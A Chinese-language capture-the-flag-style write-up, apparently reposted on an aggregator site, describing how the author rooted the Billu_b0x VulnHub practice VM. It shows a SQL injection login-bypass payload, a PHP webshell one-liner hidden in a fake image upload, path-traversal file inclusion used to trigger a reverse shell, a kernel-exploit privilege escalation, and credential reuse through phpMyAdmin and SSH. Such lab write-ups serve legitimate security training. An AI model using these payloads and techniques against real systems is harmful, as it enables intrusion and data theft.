打靶记录11——Billu_b0x

news2024/9/21 3:28:54

靶机:

https://download.vulnhub.com/billu/Billu_b0x.zip

难度:

  • 中(两种攻击路线)

目标:

  • 取得root权限

涉及的攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • SQL注入(Sqlmap跑不出来)
  • 文件包含漏洞
  • 文件上传漏洞
  • 源码审计
  • 内核漏洞提权

注意:

选择包含所有网卡的MAC地址,就能正常获取IP地址了
image.png
但是我用VirtualBox还是获取不到IP,我直接用VMware了,kali和靶机都设置成NAT模式即可

主机发现

arp-scan -l
image.png

端口扫描和服务发现

nmap -p- 192.168.174.135
image.png
nmap -p22,80 -sV -sC 192.168.174.135
image.png

SQL注入

打开浏览器,根据提示Show me your SQLI skills ,那么该页面应该是存在SQL注入这种漏洞类型的
image.png
随便输入提交之后抓包,发到BurpSuiteIntruder模块
image.png
Attack Type选择Cluster bomb集束炸弹
用户名那里使用/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt这个kali里下载的SQL测试的字典
image.png
image.png
密码那里使用burp自带的列表
image.png
image.png
发现到这些个payload的时候就成功登录了,提示You are allowed
image.png
那我们直接用这个登录,账号密码使用or%200%3d0%20%23%22 / =%5c成功登录
image.png
image.png

文件上传漏洞

发现有上传功能,尝试上传一个有一句话木马的shell.php,但是提示only png,jpg and gif file are allowed只能上传图片
image.png
Burp抓包,修改文件名后缀,Content-Type,还有添加GIF89a;文件头之后,成功上传了一个包含了一句话Webshell:<?php system($_GET["cmd"]);?>的图片文件
image.png
Show Users里查看,发现多了一个用户,然后复制图片链接去访问,发现一个新路径
http://192.168.174.135/uploaded_images/shell.png
image.png
访问发现没啥用处
image.png
访问http://192.168.174.135/uploaded_images/也是
image.png
在URL后输入?cmd=id测试一下服务器是否解析了图片里面的代码,也是失败image.png
dirsearch -u http://192.168.174.135/扫描目录发现一个add.php
image.png
看起来和前面的Add Users那里是一样的,那么服务器可能是通过加载a.php的方式在主页面实现这个功能的
image.png
image.png

文件包含漏洞

点击Add Users,然后点击Continue,然后BurpSuite抓包看看
image.png
发现是通过load参数来调用系统文件的
image.png
测试load=/etc/passwd发现不能成功,那用目录穿越的方法,改成load=../../../../../../../etc/passwd就能成功读取到文件,说明确实是存在文件包含的
image.png
image.png
那用刚刚上传了一句话木马的图片试试,发现不行,那么服务器可能是不接受这种形式的方法
image.png

反弹shell

那么我们上传一个反弹shellphp的代码试试,也就是再上传一张伪造的图片,它的扩展名仍然是png,但是内容是反弹shellphp的代码。
使用kali里面自带的/usr/share/webshells/php/php-reverse-shell.ph这个php代码的反弹shell脚本
image.png
上传时还是需要添加上GIF89a;文件头,然后IP和监听端口设置成kali
image.png
image.png
然后让Kali开启nc的监听
image.png
然后再通过文件包含漏洞去访问刚刚上传的图片,触发反弹shell
image.png
成功反弹shell之后,按照惯例升级一下shell
python -c "import pty; pty.spawn('/bin/bash')"
image.png

提权

uname -a发现是3.13的内核版本,是有内核漏洞的利用代码的
image.png
searchsploit 3.13.0搜索,发现一个C语言的代码利用脚本,之前的打靶中有使用过的,就不过多的赘述了,参考:打靶记录1——靶机medium_socnet-CSDN博客
image.png
先把代码复制到当前目录,然后开启http服务
image.png
然后让靶机下载这个exp.c,用gcc把它编译成一个二进制文件,给它执行权限,然后执行就获得root权限了
image.png
image.png
这是一种思路。

思路二

前面信息收集的时候发现了一个test路径
image.png
访问之后发现明显的提示'file' parameter is empty. Please provide file path in 'file' parameter,但是我们输入参数并赋值之后却没有内容显示
image.png
那既然Get方式不成功,还有POST方式
image.png
POST方式就成功读取到了/etc/passwd文件
image.png

任意文件下载漏洞

file=add.php直接获得了源码,说明这不是一个文件包含漏洞,而是任意文件下载漏洞,只会显示代码,不会解析代码。
image.png
那我们查看一下首页index.php,前面SQL注入漏洞的原因可能在代码中会有
image.png

<?php
  // 开始会话,确保可以使用 $_SESSION 超全局变量
  session_start();

// 包含数据库连接文件和 HTML 头部文件
include('c.php');
include('head.php');

// 检查用户是否已登录,如果没有,设置会话变量 'logged' 为一个空字符串
if(@$_SESSION['logged'] != true) {
  $_SESSION['logged'] = '';
}

// 如果用户已登录并且 'admin' 会话变量不为空
if($_SESSION['logged'] == true && $_SESSION['admin'] != '') {
  // 显示已登录的消息
  echo "you are logged in :)";
  // 重定向到 'panel.php'
  header('Location: panel.php', true, 302);
} else {
  // 如果用户没有登录,显示登录表单
  echo '<div align=center style="margin:30px 0px 0px 0px;">
    <font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> 
    <br><br>
    Show me your SQLI skills <br>
    <form method=post>
    Username :- <input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
    <input type=submit name=login value="let\'s login">';
}

// 检查是否点击了登录按钮
if(isset($_POST['login'])) {
  // 将'\'替换为''
  $uname = str_replace('\'', '', urldecode($_POST['un']));
  $pass = str_replace('\'', '', urldecode($_POST['ps']));

  // 创建 SQL 查询来检查用户名和密码是否匹配
  $run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';
  // 执行 SQL 查询
  $result = mysqli_query($conn, $run);

  // 如果查询结果有行,则用户凭据正确
  if (mysqli_num_rows($result) > 0) {
    $row = mysqli_fetch_assoc($result);
    echo "You are allowed<br>";
    // 设置会话变量以表示用户已登录
    $_SESSION['logged'] = true;
    $_SESSION['admin'] = $row['username'];
    // 重定向到 'panel.php'
    header('Location: panel.php', true, 302);
  } else {
    // 如果凭据不匹配,显示警告信息
    echo "<script>alert('Try again');</script>";
  }
}

// 显示页脚
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>

主要漏洞在这段代码 $run = 'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'',服务端没有进行严格的筛选和限制

  • \右斜线是转义符,相当于代码里的内容就是一个'单引号
  • 我们注入的账号密码or 0=0 #"和 /实现了万能密码的效果
  • 最终的SQL语句是这样的$run = 'select * from auth where pass='' and uname=' or 0=0 #,0=0永远为真

搞懂了SQL注入漏洞存在的原因之后,继续进行信息收集
c.php里面发现了数据库的账号密码billu``b0x_billu
image.png
前面扫描目录的时候还发现了/phpmy/这个路径,可能是phpmyadmin这个Web界面的管理程序
image.png
发现确实是phpmyadmin,使用刚刚的账号密码billu``b0x_billu成功登录进去了
image.png
image.png
auth表里面发现正常的账号密码biLLu hEx_it,可以直接登录首页
image.png
继续进行目录探测(每当我们有新的目录和路径发现的时候,从渗透、实践的角度来讲,都建议对新发现的子路径、子目录再去进行进一步的爬取,每一个子目录里面都有可能存在更多、更有价值的信息)
dirsearch -u http://192.168.174.135/phpmy/
发现了配置文件的路径/phpmy/config.inc.php
image.png
在配置文件中发现了新的账号密码root``roottoor
image.png
前面信息收集,端口扫描的时候是发现它开启了22端口的,我们尝试用这个账号密码登录一下。
发现我们直接登录进来了,称为了root用户!
image.png

总结:

  • 打完写个Note,天天打不总结都是空。
  • 虽然今天这台靶机并不存在什么高难度的、新型的漏洞类型,但是如果我们能将这种传统的漏洞类型相互结合,综合发挥它们的威力和实力的话,最后发现它能达到的攻击的效果,仍然是非常巧妙,威胁程度也是非常高的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2043818.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring Boot 3.3 【四】Spring Boot 整合JPA

&#x1f31f; 技术人聊管理 请关注 【技术管理修行】 一、JPA 简介 Spring Data JPA 是 Spring Data 项目的一部分&#xff0c;它为使用 Java Persistence API (JPA) 进行数据库访问提供了一种非常简便的方式。Spring Data JPA 的主要目的是简化基于 JPA 的数据访问层的开发工…

leetCode - - - 栈和队列

目录 1.有效的括号&#xff08; LeetCode 20 &#xff09; 2.最小栈&#xff08; LeetCode 155 &#xff09; 3.接雨水&#xff08; LeetCode 42 &#xff09; 4.逆波兰表达式求值&#xff08;LeetCode 150&#xff09; 5.柱状图中最大的矩形&#xff08;LeetCode 84&…

SAP LE学习笔记02 - WM和库存管理(IM)之间的关系,保管Lot(Quant)

上一章学习了LE的基础知识。 1&#xff0c;LE的概述&#xff0c;LE里面包含下面3个大的模块 - LE-WM 仓库管理 / - LE-SHP 发货/ - LE-TRA 运输 2&#xff0c;仓库的结构 - 仓库番号 / -保管域Type(存储区域)/ - 保管区画(存储区)/ - 棚番&#xff08;Storage Bin 仓位&…

IDEA快捷键(Ctrl + tab)非常好用 切换最近使用的编辑器选项卡

文章目录 1、为什么要使用 ctrl tab 快捷键&#xff1f;2、使用 ctrl tab 快捷键 1、为什么要使用 ctrl tab 快捷键&#xff1f; 当我们点击 ctrl alt 鼠标左键点击 进入方法的实现时&#xff0c;这个时候我们会在这个实现类中不断的点击&#xff0c;查看源码&#xff0c…

【安全工具推荐-Search_Viewer资产测绘】

目录 一、工具介绍 二、工具配置 三、传送门 一、工具介绍 Search_Viewer&#xff0c;集Fofa、Hunter鹰图、Shodan、360 quake、Zoomeye 钟馗之眼、censys 为一体的空间测绘gui图形界面化工具&#xff0c;支持一键采集爬取和导出fofa、shodan等数据&#xff0c;方便快捷查看…

竞争与冒险/亚稳态/跨时钟域

竞争与冒险/亚稳态/跨时钟域 文章目录 竞争与冒险/亚稳态/跨时钟域1.亚稳态1.1 好文章1.2 什么是亚稳态1.3亚稳态的解决办法1.3.1 跨时钟域的亚稳态——采用同步机制1.3.1.1 单比特(脉冲和单比特流)的跨时钟域同步1.3.1.1.1 单比特流的跨时钟域同步1.3.1.1.2 脉冲的跨时钟域同步…

.NET辅助角色服务入门简介

在日常开发中&#xff0c;并不是所有的功能都是用户可见的&#xff0c;还在一些背后默默支持的程序&#xff0c;这些程序通常以服务的形式出现&#xff0c;统称为辅助角色服务。今天以一个简单的小例子&#xff0c;简述基于.NET开发辅助角色服务的相关内容&#xff0c;仅供学习…

旅行商问题变体:欧几里德平面中线段最小连接算法

问题描述 假设在欧几里德平面上有有限多条线段&#xff0c;如何将它们连接起来&#xff0c;形成一条最小长度的线段链&#xff1f; 首先&#xff0c;自然可以穷举所有情况&#xff0c;找到最优解。还可以采用动态规划、贪心算法找到局部最优解。 另外&#xff0c;则将其作为T…

定时器延时us(hal库)

目录 定时器延时us 配置cubemx ​编辑​编辑新建模块 代码实现 测试代码 定时器延时us 复制工程模板 配置cubemx 新建模块 新建文件HardWare 添加文件HardWare 添加文件路径 添加HardWare 或者直接输入/HardWare 添加.c和.h文件 .h文件 添加防重复定义代码 #ifnd…

麒麟v10(ky10.x86_64)升级——openssl-3.2.2、openssh-9.8p1

系统版本: ky10.x86_64 下载安装包并上传 openssh下载地址 https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable openssl下载地址 https://openssl-library.org/source/index.html zlib下载地址 https://zlib.net/fossils/ 上传安装包 备份配置文件 cp -r /etc/ssh /et…

DePT: Decoupled Prompt Tuning

当前的问题:Base-New Tradeoff(BNT)困境 现有的提示调优方法通常无法摆脱Base-New Tradeoff(BNT)困境&#xff0c;即调优/调整的模型对基本任务的泛化效果越好&#xff0c;对新任务的泛化效果就越差(包含不可见的类)&#xff0c;反之新任务的泛化效果越好&#xff0c;所需要的…

北京城市图书馆-非遗文献馆:OLED透明拼接屏的璀璨应用

在数字化与传统文化深度融合的今天&#xff0c;北京城市图书馆的非遗文献馆以一场前所未有的视觉盛宴&#xff0c;向世人展示了OLED透明拼接屏的非凡魅力与无限可能。这座集阅读、展示、体验于一体的非遗文献馆&#xff0c;通过2*7布局的OLED透明拼接屏&#xff0c;不仅为传统非…

2024.8.15(python管理mysql、Mycat实现读写分离)

一、python管理mysql 1、搭建主mysql [rootmysql57 ~]# tar -xf mysql-5.7.44-linux-glibc2.12-x86_64.tar.gz [rootmysql57 ~]# cp -r mysql-5.7.44-linux-glibc2.12-x86_64 /usr/local/mysql [rootmysql57 ~]# rm -rf /etc/my.cnf [rootmysql57 ~]# mkdir /usr/local/mysql…

高数3.4 函数单调性和曲线的凹凸性

目录 1. 定义 2. 判断方法 3. 证明 4. 例子 1. 定义 2. 判断方法 3. 证明 4. 例子

高频焊机系统介绍及工作原理

一、高频焊机生产的工艺流程 将带钢卷成圆筒形&#xff0c;然后将接缝焊接起来这就形成了焊管。近些年来&#xff0c;随着焊接技术的进步以及社会工业化进程的加快&#xff0c;钢管的焊管技术也得到了较快的发展。其中直缝高频焊机应用广泛&#xff0c;其原理是利用高频电流的邻…

基于Java+SpringBoot+Vue的网上点餐系统

基于JavaSpringBootVue的网上点餐系统 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取项目下载方式&#x1f345; 哈喽…

大模型学习方法之——大模型技术学习路线

“ 技术学习无非涵盖三个方面&#xff0c;理论&#xff0c;实践和应用**”** 大模型技术爆火至今已经有两年的时间了&#xff0c;而且大模型技术的发展潜力也不言而喻。因此&#xff0c;很多人打算学习大模型&#xff0c;但又不知道该怎么入手&#xff0c;因此今天就来了解一下…

【探索Linux】P.48(高级IO —— I/O多路转接之 poll )

阅读导航 引言一、poll简介二、poll函数接口⭕参数说明 三、pollfd结构体⭕events和revents的取值 四、返回值五、工作原理六、优缺点✅优点✅缺点 七、 使用示例&#x1f6a8;注意事项 总结温馨提示 引言 在上一篇探讨了I/O多路转接之select方法的基础上&#xff0c;本文将深…

第131天:内网安全-横向移动Kerberos 攻击SPN扫描WinRMWinRSRDP

案例一&#xff1a;域横向移动-RDP-明文&NTLM RDP利用的三种方式 1.直接在当前被控主机上进行远程连接 2.建立节点进行连接 3.端口转发&#xff0c;&#xff08;访问当前主机的2222端口等于访问目标的3389&#xff09; 第一种方式(动静太大) 直接利用被控主机进行远程连接…

uniapp left right 的左右模态框

标题 这是组件 <template><div class"content-wrapper"><divv-for"(vla, i) in products":key"i":class"[content-page, getPageClass(i)]"><slot :data"vla"><!-- 用户自定义的内容 --><…